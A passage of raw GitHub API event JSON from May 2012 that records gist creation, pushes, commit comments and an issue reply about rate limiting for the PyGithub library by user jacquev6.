PyGitHub","html_url":"https://gist.github.com/2729810","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:04:31Z","id":"1553727091","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-19T07:00:58Z","comments":0,"public":true,"updated_at":"2012-05-19T07:00:58Z","files":{},"git_push_url":"git@gist.github.com:2729810.git","url":"https://api.github.com/gists/2729810","id":"2729810","git_pull_url":"git://gist.github.com/2729810.git","description":"Gist created by PyGithub","html_url":"https://gist.github.com/2729810","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:00:58Z","id":"1553726807","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"8cca4872ed04efb0252fbc70431b615931193145","size":3,"push_id":79265481,"commits":[{"sha":"030b23a3a9112864e922a965254428beefebbe42","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/030b23a3a9112864e922a965254428beefebbe42","distinct":true,"message":"Test Issue attributes"},{"sha":"55779ebbb4d8848ca7a2cf6ffbeb029239dbfdf2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/55779ebbb4d8848ca7a2cf6ffbeb029239dbfdf2","distinct":true,"message":"Test attributes of NamedUser"},{"sha":"8cca4872ed04efb0252fbc70431b615931193145","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8cca4872ed04efb0252fbc70431b615931193145","distinct":true,"message":"Test attributes of commit comments"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T20:30:16Z","id":"1553628294","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-18T20:11:17Z","line":25,"body":"This comment is here only to test PyGithub...","updated_at":"2012-05-18T20:11:17Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1349654","id":1349654,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1349654","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T20:11:17Z","id":"1553622265","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-18T08:59:28Z","line":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestion 1.0.\n\nThanks !","updated_at":"2012-05-18T08:59:28Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","id":1347083,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347083","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T08:59:28Z","id":"1553410839","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T05:29:53Z","id":"1553373866","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-18T05:27:40Z","body":"Thank you for your feedback.\n\nI have indeed not yet implemented this feature because I have no real use of it: each API call is more than half a second long, so it's hard to reach the rate limit.\n\nAnyway, it is easy to extract the rate limiting headers, so I will add an attribute to the Github class to give access to their last value.\n\nExpect it in version 1.0. I will set an expected date on the milestone during the week-end.\n","updated_at":"2012-05-18T05:27:40Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5780183","id":5780183,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"title":"Rate limiting?","comments":1,"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","updated_at":"2012-05-18T05:27:40Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":null,"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":1,"open_issues":10,"description":"","state":"open"},"closed_at":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/26","labels":[],"user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T05:27:40Z","id":"1553373556","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"c75cb64d906ce4e21c509102004d4f9770348bf7","size":12,"push_id":79118465,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"93007180f6796f83a57f66f94b3ac58b1ae8ece7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93007180f6796f83a57f66f94b3ac58b1ae8ece7","distinct":true,"message":"Remove useless code"},{"sha":"5a943ad0b255797cea79188bb346c670076062ce","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5a943ad0b255797cea79188bb346c670076062ce","distinct":true,"message":"Test Organization attributes"},{"sha":"dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","distinct":true,"message":"Assert that we know all attributes\n\nTo be removed before release, since this would break the application if\ngithub.com adds a new attribute"},{"sha":"6ba5baad7ec39d7eed64049624c6519750fcb297","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6ba5baad7ec39d7eed64049624c6519750fcb297","distinct":true,"message":"Test Repository.create_git_blob"},{"sha":"f23ed6341da0fcf7a416d04ad0ab252ed55308a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23ed6341da0fcf7a416d04ad0ab252ed55308a5","distinct":true,"message":"Create a GitTreeElement class"},{"sha":"8956796e7f462a49f499eac52fab901cdb59abdb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8956796e7f462a49f499eac52fab901cdb59abdb","distinct":true,"message":"Be explicit about complete-ability"},{"sha":"71b0ede8dec2436643ca0d6374c603f3794a1562","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/71b0ede8dec2436643ca0d6374c603f3794a1562","distinct":true,"message":"Remove complete-ability from git objects"},{"sha":"350c7a3726311e83a903cc02ec8f080010fcef54","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/350c7a3726311e83a903cc02ec8f080010fcef54","distinct":true,"message":"Remove repeated code"},{"sha":"a72d8b135841aa00158054d229c8e18333075cd4","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a72d8b135841aa00158054d229c8e18333075cd4","distinct":true,"message":"Improve management of lazy completion"},{"sha":"6945921c529be14c3a8f566dd1e483674516d46d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6945921c529be14c3a8f566dd1e483674516d46d","distinct":true,"message":"Use NoCompletion when creating an object from the result of a request"},{"sha":"1a20e048f214d625622e5f1b5494d99cb247f98b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1a20e048f214d625622e5f1b5494d99cb247f98b","distinct":true,"message":"Test attributes of Milestone"},{"sha":"c75cb64d906ce4e21c509102004d4f9770348bf7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c75cb64d906ce4e21c509102004d4f9770348bf7","distinct":true,"message":"Improve message when we check that we know all attributes"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T05:18:18Z","id":"1553372245","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"c75cb64d906ce4e21c509102004d4f9770348bf7","size":21,"push_id":77865457,"ref":"refs/heads/tmp","commits":[{"sha":"5c18c20ec4e790792635e22cc1065ec2956ebd3e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5c18c20ec4e790792635e22cc1065ec2956ebd3e","distinct":true,"message":"Change sys.path to import the development version in tests!"},{"sha":"2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","distinct":true,"message":"Test GitTag attributes"},{"sha":"71b8d5a3cc805c017c13c7adbcc49142a02c53fb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/71b8d5a3cc805c017c13c7adbcc49142a02c53fb","distinct":true,"message":"Re-order tests"},{"sha":"79ce8784291025d4235be9e4fae1ecf6d92d8cbf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/79ce8784291025d4235be9e4fae1ecf6d92d8cbf","distinct":true,"message":"Test Repository.create_git_ref, GitRef.edit and .delete (needs a manual edition of Repository.py)"},{"sha":"1a886afbd6529793ed24719c107c1ad2c313fb25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1a886afbd6529793ed24719c107c1ad2c313fb25","distinct":true,"message":"Reorganize test fixtures"},{"sha":"7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","distinct":true,"message":"Test AuthenticatedUser.create_repo (requires manual edition of generated code)"},{"sha":"9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","distinct":true,"message":"Custom url for AuthenticatedUser"},{"sha":"2cd6dbce91804d33b15332367dc9ab35c9d59f15","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/2cd6dbce91804d33b15332367dc9ab35c9d59f15","distinct":true,"message":"Test Repository.edit"},{"sha":"d052371c15e2b3fcd2fd347518f1bf2e257e6382","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d052371c15e2b3fcd2fd347518f1bf2e257e6382","distinct":true,"message":"Create a class Permissions"},{"sha":"93007180f6796f83a57f66f94b3ac58b1ae8ece7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/93007180f6796f83a57f66f94b3ac58b1ae8ece7","distinct":true,"message":"Remove useless code"},{"sha":"5a943ad0b255797cea79188bb346c670076062ce","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5a943ad0b255797cea79188bb346c670076062ce","distinct":true,"message":"Test Organization attributes"},{"sha":"dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","distinct":true,"message":"Assert that we know all attributes\n\nTo be removed before release, since this would break the application if\ngithub.com adds a new attribute"},{"sha":"6ba5baad7ec39d7eed64049624c6519750fcb297","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/6ba5baad7ec39d7eed64049624c6519750fcb297","distinct":true,"message":"Test Repository.create_git_blob"},{"sha":"f23ed6341da0fcf7a416d04ad0ab252ed55308a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/f23ed6341da0fcf7a416d04ad0ab252ed55308a5","distinct":true,"message":"Create a GitTreeElement class"},{"sha":"8956796e7f462a49f499eac52fab901cdb59abdb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/8956796e7f462a49f499eac52fab901cdb59abdb","distinct":true,"message":"Be explicit about complete-ability"},{"sha":"71b0ede8dec2436643ca0d6374c603f3794a1562","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/71b0ede8dec2436643ca0d6374c603f3794a1562","distinct":true,"message":"Remove complete-ability from git objects"},{"sha":"350c7a3726311e83a903cc02ec8f080010fcef54","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/350c7a3726311e83a903cc02ec8f080010fcef54","distinct":true,"message":"Remove repeated code"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/a72d8b135841aa00158054d229c8e18333075cd4","message":"Improve management of lazy completion","distinct":true,"sha":"a72d8b135841aa00158054d229c8e18333075cd4"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/6945921c529be14c3a8f566dd1e483674516d46d","message":"Use NoCompletion when creating an object from the result of a request","distinct":true,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1a20e048f214d625622e5f1b5494d99cb247f98b","message":"Test attributes of Milestone","distinct":true,"sha":"1a20e048f214d625622e5f1b5494d99cb247f98b"}]},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-11T13:50:38Z","id":"1551159050","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"d052371c15e2b3fcd2fd347518f1bf2e257e6382","size":1,"push_id":77713594,"commits":[{"sha":"d052371c15e2b3fcd2fd347518f1bf2e257e6382","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d052371c15e2b3fcd2fd347518f1bf2e257e6382","distinct":true,"message":"Create a class Permissions"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T20:00:26Z","id":"1550890586","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"2cd6dbce91804d33b15332367dc9ab35c9d59f15","size":8,"push_id":77707669,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5c18c20ec4e790792635e22cc1065ec2956ebd3e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5c18c20ec4e790792635e22cc1065ec2956ebd3e","distinct":true,"message":"Change sys.path to import the development version in tests!"},{"sha":"2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","distinct":true,"message":"Test GitTag attributes"},{"sha":"71b8d5a3cc805c017c13c7adbcc49142a02c53fb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/71b8d5a3cc805c017c13c7adbcc49142a02c53fb","distinct":true,"message":"Re-order tests"},{"sha":"79ce8784291025d4235be9e4fae1ecf6d92d8cbf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/79ce8784291025d4235be9e4fae1ecf6d92d8cbf","distinct":true,"message":"Test Repository.create_git_ref, GitRef.edit and .delete (needs a manual edition of Repository.py)"},{"sha":"1a886afbd6529793ed24719c107c1ad2c313fb25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1a886afbd6529793ed24719c107c1ad2c313fb25","distinct":true,"message":"Reorganize test fixtures"},{"sha":"7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","distinct":true,"message":"Test AuthenticatedUser.create_repo (requires manual edition of generated code)"},{"sha":"9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","distinct":true,"message":"Custom url for AuthenticatedUser"},{"sha":"2cd6dbce91804d33b15332367dc9ab35c9d59f15","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2cd6dbce91804d33b15332367dc9ab35c9d59f15","distinct":true,"message":"Test Repository.edit"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T19:33:23Z","id":"1550880794","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"repository","description":null,"ref":null},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/TestPyGithub","id":4288693,"name":"jacquev6/TestPyGithub"},"created_at":"2012-05-10T19:17:13Z","id":"1550874963","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4303c5b90e2216d927155e9609436ccb8984c495","size":0,"push_id":77697827,"commits":[],"ref":"refs/heads/BranchCreatedByPyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:49:21Z","id":"1550864260","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"04cde900a0775b51f762735637bd30de392a2793","size":1,"push_id":77697824,"ref":"refs/heads/BranchCreatedByPyGithub","commits":[{"sha":"04cde900a0775b51f762735637bd30de392a2793","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/04cde900a0775b51f762735637bd30de392a2793","distinct":false,"message":"On the way to code generation instead of meta-description\n\n(lots of useless eratic history squashed together in one commit)"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:49:21Z","id":"1550864258","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4303c5b90e2216d927155e9609436ccb8984c495","size":2,"push_id":77697820,"commits":[{"sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","distinct":false,"message":"Publish version 0.6"},{"sha":"4303c5b90e2216d927155e9609436ccb8984c495","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","distinct":false,"message":"Merge branch 'develop'"}],"ref":"refs/heads/BranchCreatedByPyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:49:20Z","id":"1550864252","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4c4e551d39f77beb507cd745408284eb0f8078ec","size":9,"push_id":77687307,"commits":[{"sha":"cd68559b0861ad2be12be29b9d4b7ec66e885191","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cd68559b0861ad2be12be29b9d4b7ec66e885191","distinct":true,"message":"Separate asserts on type and assignments of values of attributes"},{"sha":"d631e83b7901b0a0b6061b361130700a79505319","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d631e83b7901b0a0b6061b361130700a79505319","distinct":true,"message":"Move files around"},{"sha":"d6efda12012dfb0c35f81d2c291bed575d2f9336","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d6efda12012dfb0c35f81d2c291bed575d2f9336","distinct":true,"message":"Remove old tests"},{"sha":"595e88cd5537208958f90d6727965cc7918f09a7","author":{"name":"Vincent 